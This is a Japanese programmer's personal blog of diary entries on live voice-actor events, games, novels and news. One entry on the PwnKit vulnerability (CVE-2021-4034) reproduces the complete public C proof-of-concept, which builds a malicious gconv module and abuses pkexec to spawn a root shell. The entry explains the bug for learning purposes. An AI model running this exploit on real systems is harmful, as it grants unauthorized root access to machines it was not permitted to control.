NF

地方で働くプログラマ

ウクライナ

日記

news.yahoo.co.jp
凄い事になってるな。ロシアが何考えてるのか全然分からん。
武力でやりたい放題みたいな情勢になって日本にいい事ないし、何とかならんかね


ーーー
明日の遠征の予定。
なんか戦争起きて気が滅入ってる時にライブとかちょっとアレだけど、個人に何が出来るわけでもないし、今は日常を過ごすしかない。
　
早めの新幹線にしたので、7時半くらいに出て新大阪に10時半くらい。結構遠い。大正駅かドーム前千代崎まで行って11時くらい。開演16時半だけど推奨入場14時半前後（2時間空きか…）なので、3時間半くらいある。観光する気がゼロ（ご時勢もあるし）なので、喫茶店でお茶して土産買って昼食べてぶらぶらする感じかな。
　
帰りは21:06だから、20:30大正発か、20:34ドーム前千代崎発。時間あるし、事前にシミュレーションしとく。公演時間が3時間でも19時半だから、規制退場しても十分間に合いそう。逆に時間が空いたらどうしよう。新大阪付近のコメダとか、21時まではやってるぽい。

寝ます

声優イベント他更新（2022/03月～）

声優イベント

大西亜玖璃さんの「VOICE＋」のお渡し会、先着がやってたので申し込んだら取れてしまった。ただ、18:00からと思ってたら1部だと16:30らしく、間違ってました。予約したのはちゃんと2部でした。
立川から渋谷って結構遠いような？1時間らしいので、きゃりさんのライブ短めなので間に合いそうではある。あと3/3の配信ページで日曜になってるけど3日は木曜のような。
（3/3追記）
www.youtube.com
あぐぽんアーティスト一周年特番、3rdシングルのイベントが盛りだくさん過ぎる。
どれか行けるといいけど…
（3/4追記）
唯ちゃんのリリイベ落選。知ってたというか、多分一生当たらなそう

　
＊購入予定

　
＊配信予定

　

  • 3/11(金) 18:00 〜
  • 3/21(月) 12:00 〜
  • 3/27(日)

ヘブンバーンズレッド

日記 Game Linux 本

日記です。
3連休はヘブンバーンズレッドやってたら終わった。面白いし、評判も良さそうだし、何よりそれがだーまえに届いてるっぽくて良かった。
天気、木曜日に予報が当たって結構雪降ってて、明日も雪降るとか言ってて悲しい。連休中に降ってくれた方が良かった。　


ーーー
なんか色々リンク
Linux Kernel Workbook — Linux Kernel Workbook 1.0 documentation
The Linux Kernel documentation — The Linux Kernel documentation
Introduction · Linux Inside
Computer architecture - CS Notes
Linux系
　
スパコンポエム Advent Calendar 2020 - Qiita
やはり俺の「質 v.s. スピード」はまちがっている。 #eof2019 - 名前考えるの苦手
ダイクストラ法のよくあるミスと落し方 - あなたは嘘つきですかと聞かれたら「YES」と答えるブログ
codic - プログラマーのためのネーミング辞書
10 Fun Linux Command-Line Programs You Should Try When Bored
他技術っぽいの（技術ネタで使いたい）
　
【インタヴュー】『少女☆歌劇 レヴュースタァライト』監督・古川知宏の読書歴｜第1回／はじまりは神話｜tree
商業エロゲーが黄金期を終え、一時的に縮小し、そして復活した理由についての推論｜鏡裕之｜note
田所広成の反省記 業界の浮雲児が見た90年代エロゲの時代 F&C編 上巻 | by Hiroki Kaneko | Medium
オタ系
　
www.youtube.com
アーティスト9周年だそうです。めでたい。お渡し会が2年くらいない件触れてて、またやりたいと話してくれてますね。
　


マジかよ。ヘブバンも今後コラボあるのかな
　
mainichi.jp
なんだこの画像…
それにしても五冠すごいな


ーーー
あとVシリーズ読んだ（人形式モナリザ）けど、正直言うと森さんのシリーズで一番キツいな。主に紅子さんが。四季に出て来た時とイメージが違いすぎる…
でも、取り合えずは続き読んでいこうと思います。


ーーー
洋楽って、空が落ちてくる。て表現めちゃくちゃ多くないですか！... - Yahoo!知恵袋
＞洋楽って、空が落ちてくる。て表現めちゃくちゃ多くないですか！？
なんか分かる～って思ったので
何でこの知恵袋に辿り着いたかは忘れた


ーーー
ストーリー | TVアニメ「スローループ」公式サイト
第5話「また一緒に」
今期唯一見てるアニメ。なんか他の見るきっかけが無くて…
二葉ちゃんの演技良かったなぁと思ったらCVなっちゃん（村上奈津実さん）だった。上手いなーと思う一方で、地声（～愛さんの声あたりの演技）が好きなので、ちょっと声の個性は抑えられてる気がする。幼女役なので仕方ないんだけど。
そういう意味では、ヘブバンのあぐぽん（大西亜玖璃さん）も声聞いて最初分からなかったな。まぁ演技の幅が広いって事だし良い事ですね。


ーーー
最近、日々のやる事とかを決めずに過ごしてるな。
明日はヘブバンのイベント始まるので早く帰りたい（雪怖いし）し、あとFFFあるし、明後日は唯ちゃんのCD受け取るために早く帰りたいし、金曜はアレがあるから早く帰りたい。土曜は虹遠征の切符受け取り（その前日に番号が来る）。なんかトラブルあったら水曜にやるしかない。
土日もイベント自体は無いので、積んでるブックレットとか映像を消化していきたい。あとアマプラはそろそろ一旦解約する。なんか観たかった映画あったような…

井澤詩織のウェルカムトゥバースデーパーティー

声優イベント


2022/2/12(土)、井澤詩織さんのバースデーイベント＠グレースバリ渋谷店に参加しました。軽く雑感書きます。まん防状態だったりゲストの方が数週間前に感染してたりと、無事開催できたのが不思議なくらいでした。
井澤さんガチ勢ではないけど、声優としては好きで、セハガは結構追ってたりしーちゃんねる聞いてたりしてるので、折角の対面イベントなので参加してきました。井澤さんの対面イベント参加すうるの5年ぶりくらいなんですね…
セハガールのハードなSEGA情報RADIO『セハラジ』公録LIVE 昼の部 - NF


開演19時から、整理番号は100番ちょっとで18時半入場。着席150席くらいの会場らしいけど、中は10席×10列で100人くらいが入ってたようです。席番は途中飛んでて、自分は後ろから2列目。縦長の会場なので後列はステージと距離があって悲しい。入場して物販行ったら準備中とのこと、席の真横が物販机だったのだけど、サイン入りプロマイドをスタッフさんが頑張って差し込んでいた。開演15分くらい前に物販開始したけど列形成的に間に合わないので終演後に見送り。
7000円以上でイベント中に抽選参加するシステム。6500円のキャンパスアートは早々に売切れてて（4種の内1種だけが1枚残ってた）、受注生産申込みになってた。スタッフは不慣れなのかお釣りや抽選券渡し忘れが散発してたり。あと、近くの人がメロプリタオルを付けていた。
　
10分くらい押して開演、しーたむこと井澤さん登場。遠い。脚の方はほぼ見えず。ゲスト兼司会の道井さんがケーキを持って登場。ハッピーバースデー歌うとかは客歌えないからか無かった。道井さん初めて今回知ったけど、井澤さんと同世代でナナシス共演とかしてる方らしい。
　
最初のコーナーは事前に集めてたメール紹介。会場に居る人と配信で見てる人が半々くらい？最初以外は探そうとしてなかったので不明。やっぱり井澤さんのトークは面白くて、道井さんもよく盛り上げてた気がする。
次のコーナーは会場参加型のしーたむカルトクイズ。2択問題を参加者が答えて、最後の1人になるまでやるというもの。自分は早々に脱落したけど、後半はファンでも分からない単純2択みたいな感じで、あと最後残った2人はじゃんけんで決めたりと運も絡んでた。優勝者は、私物サイン・任意台詞録音、スマホで撮影の中から選べるという、グラドル撮影会みたいな。優勝した方は、スマホにサインを直書きしてもらってた。
　
次はまたメールコーナーを挟んで、「道井ちゃんっていうゲーム」。最近声優番組でよくみるやつですね。これ、声優さんの演技力が楽しめるので結構好きです。結果は、7問中6問正解で商品ゲット。なんか流行のシャンプーとかで、道井さんが客に「しーたむと同じシャンプーが飲めるよ！」とか悪乗りだけどちょっと笑った。
　
イベント終盤になって、抽選会のコーナー。3位がチェキ（5名、この後撮る）、2位がプリントTシャツ（3名）、1位が等身大パネル（1名）という何か凄いラインナップ。パネル当たった人は持ち帰れたのだろうか。あと、演者さんがチェキ撮ってるのを鑑賞するのは結構楽しい。
　
最後は残りのメール紹介を少しした後、発表コーナー。念願のカメラ番組と、ラインスタンプ発売の2つ。井澤だんがカメラ番組のサムネがノースリーブなのに触れて、「これ8月から動いてたんだけどね…Youtubeって大変なんだよ」って言ってました。とりま楽しみですね。


最後は会場記念撮影と、挨拶をして締め。こんなご時世で仕方ないけど、捌ける時はあっさりでしたね…。2022年はファンコミュニティも終わる（元々自粛期間用だったらしい）そうですが、井澤さんの動向には注目していきたいです。願わくば、また対面イベントがあると嬉しい。
あと何か間違ってセハガ臨時復活とか無いかな…



　

入り口に置いてあった例の等身大パネルとか

16回目：PwnKit

技術

japan.zdnet.com

今更だけど記録しておこうと思ったんだった。
「PolKit」という、Linuxとかに入っているシステム全体の権限を管理するツールに脆弱性が見つかったとか。知らなかったけど、普通に重要なツールぽくて職場のサーバとかにも入ってた。
　

何が起こるか

一般ユーザが特権になれてしまうというもので、CVSS Scoreは7.8。ちょい前に話題になってたLog4jみたいに外から入れる訳ではないけど、それでもかなり高いほうらしい。再現コードも公開されていて、以下のように短いコードでいける。

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

原因は

blog.qualys.com
今読んでる。
Linuxが引数なし（argc=0）でexecve()を実行できてしまう事で、環境変数に設定しておいた任意のコマンドを実行させる事が出来る…みたいな。上のサンプルでもsetuid(0)とかやってるからそんな感じだろう。
　
説明を見ると初歩的な感じもする（自分なら気付いたとかじゃなくて、界隈の凄い人たちでも見逃すんだなって意味で）けど、12年前からあった不具合だとか。こういうセキュリティに関わるプロセスでも残ってるんですね。まぁ定期的（体感年1～2回くらい）に脆弱性が話題になりますしね…
　
あと、この件ググってて知ったけど、CVSSは課題が色々あるのでSSVCというのを使おう（使い分けよう？）という話題があるらしい。詳しくは以下で。
SSVC（Stakeholder-Specific Vulnerability Categorization）を活用した脆弱性管理 | PwC Japanグループ

四季シリーズ

本 日記 Game 麻雀

kodanshabunko.com
真賀田四季の話らしいので春夏秋冬の全4巻を読んだけど、とても良かった。薄いし、もう一回読み直したい。各巻末には読者コメントが載っていて、自分の感性の衰え（元々乏しいけど加齢に伴い更に衰えてるという意）を感じる。
それはともかく、Ｓ＆Ｍシリーズしか読んでないと謎の人物が沢山出てきて、それがＶシリーズのメインキャラ達と言う事で、販促として素晴らしい。実際読みたくなって前半5巻くらいを買った。読んでみると紅子30歳とか書いてあって時系列がよく分からなくなってる所ですが…


ーーー
www.youtube.com
ストリートファイターリーグ: Pro-JP 2021。
めっちゃ面白かったな。決勝リーグはどの試合も縺れて見ごたえがあった。やっぱりときどなんだよなぁ…という感想。まぁFAVは最初見た時強すぎないか？と思ってた（予選は意外と苦戦してたけど）ので、チームとしては残当な感じする。あと、ウメハラ率いるBeastが決勝まで残ってくれたのも個人的には嬉しかった。
SFL結構前からやってたようだけど、ガッツリ見たの今回が初めてだった。なんだろうな、やっぱスポンサーが前面に押し出されてる方が身内感薄れていいのかな。チームとしてはネモさんとこ応援してたけど、予選で終わってしまった。他チームも含めて、またこの組でリーグ見たいですね。


ーーー
マスクしても「５０センチ以内の会話」で感染リスク…「富岳」でオミクロン分析 : 科学・ＩＴ : ニュース : 読売新聞オンライン
＞１メートル以上離れて会話すれば感染確率はほぼゼロ
気を付ければ職場感染は結構防げる感じかな…


ーーー
natalie.mu
びっくりした。いい感じに内容覚えてないので新鮮な感じみれそう。まぁ驚き半分、ダメな感じになったらどうしよう…という気持ちが半分。オーフェンがちょっとアレだったのを引きずっているかもしれない。


ーーー


古き良き（？）ネットの集合体って感じだけど、こういうのヘタにやると外しがちなのにモス勇気あるなと思った。しかも概ね好評なようで、感心した。モスは近所の店が色々微妙なのもあって滅多に行かないのだけど…
あとトムブラウンさんを始めて知った。思ったより若かった。あの芸風でM-1決勝残ってたらしくてすごい。


ーーー


取り合えず楽しみにしてます。なんかトレーラーで既に犠牲者出てるが…
ともあれ、スマホの容量も空いたしやるぞ。時間取れるか心配。第一印象で好きなキャラはあぐぽんが担当してる桐生ちゃん。あとわしゃがなを見る。


ーーー
先月に引き続き麻雀行った。
2-1-3-1で+1,700ちょい。行くならあのくらいの時間かも。


ーーー
秋葉原近辺行った時に行ってみたい店をメモ。行く予定ないが。
・仙臺 （センダイ） - 神保町/シチュー | 食べログ
・秋葉原ラーメン わいず （【旧店名】麺舎 十紋字） - 末広町/ラーメン | 食べログ　神田の店行ってた
・キッチン南海 神保町店 - 神保町/洋食 | 食べログ
・炉端バル さま田 - 岩本町/バル・バール/ネット予約可 | 食べログ　角煮カツ丼


ーーー
何か全然時間ないのに急にシンゴジラ見たくなってアマプラで観た。
やっぱ面白いよ。自衛隊兵器が色々出て来るけど、いまいち威力感が分からないのでちょっと調べてみようかな。まとめてるサイトさんありそうだし。具体的に言うとヘリの攻撃と戦車の攻撃がどれくらい違うのかわからない。


ーーー
あと急に「女神候補生」を思い出した。何か間違って再開されないかな。
コミックガムはWEBで今も続いてるようだ…と思ったら公式サイトないな。Wikipediaの情報2016年くらいで止まってるのか。かなしい。


ーーー


めでたい。
「tanti auguri」はイタリア語でそのままハピバみたいですね


ーーー


かわいいなー
いい日ですね

声優イベント他更新（2022/02月～）

声優イベント


遂に来てしまった。最後の公演…
明確に最後ってするユニットは少数派な気がしますが、公録とか他のイベント含め最後なんでしょうか。そしてローダンセクラブはどうなるのか…
いや、ラジオで話していた。ユニットとしては作品の終わりに合わせて区切りを付けるとの事で、ユニット活動は終わるしサポーターズクラブも閉じそう。正直、今一番生活の基盤になってる気がするのでつらいな…。過去回の音源とか売ってくれないかな。要望出してみるか。
（2/1追記）
東山奈央さん5大企画の第1,2弾が発表されました。イベントは上手い事ライブの隙間だったので行けそう。会場は着席1,000人弱だけど抽選次第かな…
（2/11追記）
プラオレライブは一般先着で夜だけ申込み。これ会場1700ってかなり大きめな印象あるけど、どれくらい埋まってるのか。あと「あなたにアグリー」イベントあるみたいだけど、先行はチャンネル会員のみなのだろうか。
　

　
＊購入予定

　
＊配信予定


ライブの前に観る